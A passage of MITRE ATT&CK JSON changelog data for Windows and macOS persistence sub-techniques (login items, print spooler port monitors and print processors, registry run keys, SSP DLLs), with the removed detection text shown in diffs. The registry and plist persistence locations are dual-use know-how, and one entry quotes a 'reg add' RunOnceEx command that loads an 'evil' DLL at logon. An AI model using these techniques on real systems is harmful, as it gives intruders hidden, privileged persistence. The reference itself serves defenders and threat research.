~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1547/015",
"external_id": "T1547.015"
},
{
"source_name": "Adding Login Items",
"description": "Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017.",
"url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html"
},
{
"source_name": "Launch Service Keys Developer Apple",
"description": "Apple. (2018, June 4). Launch Services Keys. Retrieved October 5, 2021.",
"url": "https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1"
},
{
"source_name": "Launch Services Apple Developer",
"description": "Apple. (n.d.). Launch Services. Retrieved October 5, 2021.",
"url": "https://developer.apple.com/documentation/coreservices/launch_services"
},
{
"source_name": "Login Items AE",
"description": "Apple. (n.d.). Login Items AE. Retrieved October 4, 2021.",
"url": "https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788"
},
{
"source_name": "Open Login Items Apple",
"description": "Apple. (n.d.). Open items automatically when you log in on Mac. Retrieved October 1, 2021.",
"url": "https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac"
},
{
"source_name": "hexed osx.dok analysis 2019",
"description": "fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20221007144948/http://www.hexed.in/2019/07/osxdok-analysis.html"
},
{
"source_name": "ELC Running at startup",
"description": "hoakley. (2018, May 22). Running at startup: when to use a Login Item or a LaunchAgent/LaunchDaemon. Retrieved October 5, 2021.",
"url": "https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/"
},
{
"source_name": "Startup Items Eclectic",
"description": "hoakley. (2021, September 16). How to run an app or tool at startup. Retrieved October 5, 2021.",
"url": "https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/"
},
{
"source_name": "Add List Remove Login Items Apple Script",
"description": "kaloprominat. (2013, July 30). macos: manage add list remove login items apple script. Retrieved October 5, 2021.",
"url": "https://gist.github.com/kaloprominat/6111584"
},
{
"source_name": "CheckPoint Dok",
"description": "Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021.",
"url": "https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/"
},
{
"source_name": "objsee block blocking login items",
"description": "Patrick Wardle. (2018, July 23). Block Blocking Login Items. Retrieved October 1, 2021.",
"url": "https://objective-see.com/blog/blog_0x31.html"
},
{
"source_name": "objsee netwire backdoor 2019",
"description": "Patrick Wardle. (2019, June 20). Burned by Fire(fox). Retrieved October 1, 2021.",
"url": "https://objective-see.com/blog/blog_0x44.html"
},
{
"source_name": "objsee mac malware 2017",
"description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
"url": "https://objective-see.com/blog/blog_0x25.html"
},
{
"source_name": "sentinelone macos persist Jun 2019",
"description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.",
"url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/"
},
{
"source_name": "SMLoginItemSetEnabled Schroeder 2013",
"description": "Tim Schroeder. (2013, April 21). SMLoginItemSetEnabled Demystified. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20160216034946/https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"macOS"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"File: File Creation\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:03.355000+00:00\", \"old_value\": \"2025-04-15 19:58:47.788000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"All login items created via shared file lists are viewable by using the System Preferences GUI or in the ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited for known good applications.\\n\\nOtherwise, login Items are located in Contents/Library/LoginItems within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) Monitor applications that leverage login items with either the LSUIElement or LSBackgroundOnly key in the Info.plist file set to true.(Citation: Adding Login Items)(Citation: Launch Service Keys Developer Apple)\\n\\nMonitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior,, such as establishing network connections.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-All login items created via shared file lists are viewable by using the System Preferences GUI or in the ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited for known good applications.\\n-\\n-Otherwise, login Items are located in Contents/Library/LoginItems within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) Monitor applications that leverage login items with either the LSUIElement or LSBackgroundOnly key in the Info.plist file set to true.(Citation: Adding Login Items)(Citation: Launch Service Keys Developer Apple)\\n-\\n-Monitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior,, such as establishing network connections.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0121: Detection Strategy for T1547.015 \u2013 Login Items on macOS"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-24 19:46:27.750000+00:00",
"modified": "2025-10-24 17:48:42.872000+00:00",
"name": "Port Monitors",
"description": "Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded and run by the print spooler service, `spoolsv.exe`, under SYSTEM level permissions on boot.(Citation: Bloxham) \n\nAlternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to the `Driver` value of an existing or new arbitrarily named subkey of HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. The Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1547/010",
"external_id": "T1547.010"
},
{
"source_name": "Bloxham",
"description": "Bloxham, B. (n.d.). Getting Windows to Play with Itself [PowerPoint slides]. Retrieved November 12, 2014.",
"url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf"
},
{
"source_name": "AddMonitor",
"description": "Microsoft. (n.d.). AddMonitor function. Retrieved September 12, 2024.",
"url": "https://learn.microsoft.com/en-us/windows/win32/printdocs/addmonitor"
},
{
"source_name": "TechNet Autoruns",
"description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Stefan Kanthak",
"Travis Smith, Tripwire",
"Harun K\u00fc\u00dfner"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Modification\", \"File: File Creation\", \"Module: Module Load\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:42.872000+00:00\", \"old_value\": \"2025-04-15 19:58:26.452000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor process API calls to AddMonitor.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. \\n\\nMonitor Registry writes to HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Print\\\\Monitors, paying particular attention to changes in the \\\"Driver\\\" subkey. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism.(Citation: TechNet Autoruns)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor process API calls to AddMonitor.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. \\n-\\n-Monitor Registry writes to HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Print\\\\Monitors, paying particular attention to changes in the \\\"Driver\\\" subkey. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism.(Citation: TechNet Autoruns)\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0011: Module (Module Load)",
"DS0022: File (File Creation)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0204: Detection Strategy for T1547.010 \u2013 Port Monitor DLL Persistence via spoolsv.exe (Windows)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-10-05 13:24:49.780000+00:00",
"modified": "2025-10-24 17:48:35.261000+00:00",
"name": "Print Processors",
"description": "Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, `spoolsv.exe`, during boot.(Citation: Microsoft Intro Print Processors)\n\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver Registry key that points to the DLL.\n\nFor the malicious print processor to be correctly installed, the payload must be located in the dedicated system print-processor directory, that can be found with the GetPrintProcessorDirectory API call, or referenced via a relative path from this directory.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020)\n\nThe print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1547/012",
"external_id": "T1547.012"
},
{
"source_name": "Microsoft AddPrintProcessor May 2018",
"description": "Microsoft. (2018, May 31). AddPrintProcessor function. Retrieved October 5, 2020.",
"url": "https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor"
},
{
"source_name": "Microsoft Intro Print Processors",
"description": "Microsoft. (2023, June 26). Introduction to print processors. Retrieved September 27, 2023.",
"url": "https://learn.microsoft.com/windows-hardware/drivers/print/introduction-to-print-processors"
},
{
"source_name": "ESET PipeMon May 2020",
"description": "Tartare, M. et al. (2020, May 21). No \u201cGame over\u201d for the Winnti Group. Retrieved August 24, 2020.",
"url": "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Mathieu Tartare, ESET",
"Tahseen Bin Taj"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Modification\", \"File: File Creation\", \"Driver: Driver Load\", \"Module: Module Load\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:35.261000+00:00\", \"old_value\": \"2025-04-15 19:58:17.860000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor process API calls to AddPrintProcessor and GetPrintProcessorDirectory. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to HKLM\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Print\\\\Environments\\\\\\\\[Windows architecture]\\\\Print Processors\\\\\\\\[user defined]\\\\\\\\Driver or HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Print\\\\Environments\\\\\\\\[Windows architecture]\\\\Print Processors\\\\\\\\[user defined]\\\\Driver as they pertain to print processor installations.\\n\\nMonitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor process API calls to AddPrintProcessor and GetPrintProcessorDirectory. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to HKLM\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Print\\\\Environments\\\\\\\\[Windows architecture]\\\\Print Processors\\\\\\\\[user defined]\\\\\\\\Driver or HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Print\\\\Environments\\\\\\\\[Windows architecture]\\\\Print Processors\\\\\\\\[user defined]\\\\Driver as they pertain to print processor installations.\\n-\\n-Monitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0011: Module (Module Load)",
"DS0022: File (File Creation)",
"DS0024: Windows Registry (Windows Registry Key Modification)",
"DS0027: Driver (Driver Load)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0026: Windows Detection Strategy for T1547.012 - Print Processor DLL Persistence"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-24 18:15:06.641000+00:00",
"modified": "2025-10-24 17:49:32.375000+00:00",
"name": "Re-opened Applications",
"description": "Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to \"Reopen windows when logging back in\".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named com.apple.loginwindow.[UUID].plist within the ~/Library/Preferences/ByHost directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user\u2019s next logon.\n\nAdversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the com.apple.loginwindow.[UUID].plist file to execute payloads when a user logs in.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1547/007",
"external_id": "T1547.007"
},
{
"source_name": "Re-Open windows on Mac",
"description": "Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017.",
"url": "https://support.apple.com/en-us/HT204005"
},
{
"source_name": "Methods of Mac Malware Persistence",
"description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
"url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
},
{
"source_name": "Wardle Persistence Chapter",
"description": "Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022.",
"url": "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"macOS"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:32.375000+00:00\", \"old_value\": \"2025-04-16 20:37:22.343000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1017: User Training",
"M1042: Disable or Remove Feature or Program"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0017: Command (Command Execution)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0125: Detect persistence via reopened application plist modification (macOS)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-23 22:02:48.566000+00:00",
"modified": "2025-10-24 17:49:09.744000+00:00",
"name": "Registry Run Keys / Startup Folder",
"description": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.(Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nThe following run keys are created by default on Windows systems:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\n\nRun keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.(Citation: Microsoft Run Key) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\" (Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nPlacing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\\Users\\\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup. The startup folder path for all users is C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp.\n\nThe following Registry keys can be used to set startup folder items for persistence:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders\n\nThe following Registry keys can control automatic startup of services during boot:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows run automatically for the currently logged-on user.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1547/001",
"external_id": "T1547.001"
},
{
"source_name": "Malwarebytes Wow6432Node 2016",
"description": "Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved August 3, 2020.",
"url": "https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/"
},
{
"source_name": "Microsoft Wow6432Node 2018",
"description": "Microsoft. (2018, May 31). 32-bit and 64-bit Application Data in the Registry. Retrieved August 3, 2020.",
"url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry"
},
{
"source_name": "Microsoft Run Key",
"description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved September 12, 2024.",
"url": "https://learn.microsoft.com/en-us/windows/win32/setupapi/run-and-runonce-registry-keys"
},
{
"source_name": "Oddvar Moe RunOnceEx Mar 2018",
"description": "Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018.",
"url": "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/"
},
{
"source_name": "TechNet Autoruns",
"description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Oddvar Moe, @oddvarmoe",
"Dray Agha, @Purp1eW0lf, Huntress Labs",
"Harun K\u00fc\u00dfner"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "2.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Modification\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Creation\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:09.744000+00:00\", \"old_value\": \"2025-04-15 19:58:54.099000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\\n\\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\\n-\\n-Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\"}}}",
"previous_version": "2.1",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Modification)",
"DS0024: Windows Registry (Windows Registry Key Creation)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0365: Detect Registry and Startup Folder Persistence (Windows)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--5095a853-299c-4876-abd7-ac0050fb5462",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-24 17:16:11.806000+00:00",
"modified": "2025-10-24 17:48:46.245000+00:00",
"name": "Security Support Provider",
"description": "Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.\n\nThe SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1547/005",
"external_id": "T1547.005"
},
{
"source_name": "Graeber 2014",
"description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
"url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html"
},
{
"source_name": "Microsoft Configure LSA",
